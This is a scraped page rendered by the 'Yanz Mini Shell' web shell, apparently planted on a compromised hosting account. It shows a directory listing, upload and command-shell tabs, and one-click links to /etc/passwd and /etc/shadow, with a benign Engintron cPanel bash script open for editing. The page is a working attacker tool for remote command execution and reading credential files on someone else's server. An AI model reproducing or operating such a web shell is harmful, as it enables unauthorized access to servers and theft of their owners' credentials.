Yanz Mini Shell
[_]
[-]
[X]
[
HomeShell 1
] [
HomeShell 2
] [
Upload
] [
Command Shell
] [
Scripting
] [
About
]
[ Directory ] =>
/
home
hdhubreisen
public_html
gebase
Action
[*]
New File
[*]
New Folder
Sensitive File
[*]
/etc/passwd
[*]
/etc/shadow
[*]
/etc/resolv.conf
[
Delete
] [
Edit
] [
Rename
] [
Back
]
#!/bin/bash # /** # * @version 2.6 # * @package Engintron for cPanel/WHM # * @author Fotis Evangelou (https://kodeka.io) # * @url https://engintron.com # * @copyright Copyright (c) 2014 - 2024 Kodeka OÜ. All rights reserved. # * @license GNU/GPL license: https://www.gnu.org/copyleft/gpl.html # */ INTERVAL="15" # Interval in seconds, must not exceed 60 (seconds) COUNTER="0" function generate_https_vhosts { if [ -f /etc/nginx/utilities/https_vhosts.php ]; then RUN_CHECK=$(/usr/local/cpanel/3rdparty/bin/php -c /dev/null -q /etc/nginx/utilities/https_vhosts.php; echo $?) if [[ $RUN_CHECK == 1 ]]; then sleep 3 service nginx reload fi fi } while [ $COUNTER -lt 60 ]; do generate_https_vhosts sleep $INTERVAL COUNTER=$[$COUNTER+$INTERVAL] done exit 0
Free Space : 62667132928 Byte